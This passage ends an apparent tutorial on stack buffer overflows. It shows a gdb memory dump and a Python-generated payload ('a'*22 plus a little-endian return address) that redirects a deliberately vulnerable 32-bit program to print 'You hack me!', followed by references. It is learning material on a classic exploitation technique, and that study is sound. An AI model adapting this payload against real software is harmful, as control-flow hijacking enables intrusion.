0x61610000
0x61616161
0x61616161
0x61616161
0x61616161
0x61616161
0x61616161
0x80484ba
0xffffd300

You hack me!
Program received signal SIGSEGV, Segmentation fault.
```

As you can see, when we type `run $(python -c "print('a'*22+'\xba\x84\x04\x08')")`, program says to us "You hack me!". Yes, we hacked it.

## References

[1] Buffer Overflow Attack – Computerphile, <https://www.youtube.com/watch?v=1S0aBV-Waao>

[2] Stackoverflow - What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code?, <https://stackoverflow.com/questions/46087730/what-happens-if-you-use-the-32-bit-int-0x80-linux-abi-in-64-bit-code>

[3] Stackoverflow - Using interrupt 0x80 on 64-bit Linux, <https://stackoverflow.com/questions/22503944/using-interrupt-0x80-on-64-bit-linux>